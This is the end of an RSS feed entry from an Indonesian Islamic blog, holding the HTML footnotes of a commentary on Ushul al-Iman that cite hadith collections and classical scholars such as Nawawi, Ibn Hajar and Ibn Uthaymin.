&lt;span style="color: magenta;"&gt;&lt;a href="http://abuzubair.net/syarah-kitab-ushul-al-iman-karangan-imam-muhamad-bin-abdul-wahhab-rahimahullahu-taala/#_ftnref1" name="_ftn1"&gt;[1]&lt;/a&gt;&lt;u&gt; Syarh Tsalatsatul Ushul, Ibnul Utsaimin (hal.19).&lt;/u&gt;&lt;/span&gt;
&lt;span style="color: magenta;"&gt;&lt;a href="http://abuzubair.net/syarah-kitab-ushul-al-iman-karangan-imam-muhamad-bin-abdul-wahhab-rahimahullahu-taala/#_ftnref2" name="_ftn2"&gt;[2]&lt;/a&gt;&lt;u&gt; Fawaidul Fawa-id (28).&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;a href="http://abuzubair.net/syarah-kitab-ushul-al-iman-karangan-imam-muhamad-bin-abdul-wahhab-rahimahullahu-taala/#_ftnref3" name="_ftn3"&gt;[3]&lt;/a&gt;&lt;u&gt; Lihat : Fawaidul Fawaaid (28-29 dan 41).&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;a href="http://abuzubair.net/syarah-kitab-ushul-al-iman-karangan-imam-muhamad-bin-abdul-wahhab-rahimahullahu-taala/#_ftnref4" name="_ftn4"&gt;[4]&lt;/a&gt;&lt;u&gt; Ibid (40).&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;a href="http://abuzubair.net/syarah-kitab-ushul-al-iman-karangan-imam-muhamad-bin-abdul-wahhab-rahimahullahu-taala/#_ftnref5" name="_ftn5"&gt;[5]&lt;/a&gt;&lt;u&gt; Dikeluarkan oleh Muslim (4/2289) kitab Az-Zuhud, no : 2985.&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;a href="http://abuzubair.net/syarah-kitab-ushul-al-iman-karangan-imam-muhamad-bin-abdul-wahhab-rahimahullahu-taala/#_ftnref6" name="_ftn6"&gt;[6]&lt;/a&gt;&lt;u&gt;
 Dikeluarkan oleh Ahmad (5/428, 429) dengan isnad Jayyid sebagaimana 
ditegaskan oleh Syeikh Al-Albany di Silsilah Ash-Shohihah (no.951)&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;a href="http://abuzubair.net/syarah-kitab-ushul-al-iman-karangan-imam-muhamad-bin-abdul-wahhab-rahimahullahu-taala/#_ftnref7" name="_ftn7"&gt;[7]&lt;/a&gt;&lt;u&gt; Dikeluarkan oleh Muslim ( no. 7667)&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;a href="http://abuzubair.net/syarah-kitab-ushul-al-iman-karangan-imam-muhamad-bin-abdul-wahhab-rahimahullahu-taala/#_ftnref8" name="_ftn8"&gt;[8]&lt;/a&gt;&lt;u&gt; Syarh Shohih Muslim oleh Imam An-Nawawi (18/316).&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style="color: magenta;"&gt;&lt;a href="http://abuzubair.net/syarah-kitab-ushul-al-iman-karangan-imam-muhamad-bin-abdul-wahhab-rahimahullahu-taala/#_ftnref9" name="_ftn9"&gt;[9]&lt;/a&gt;&lt;u&gt; Fathul Bari (11/408).&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;

			&lt;/div&gt;
&lt;/div&gt;
</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item></channel></rss>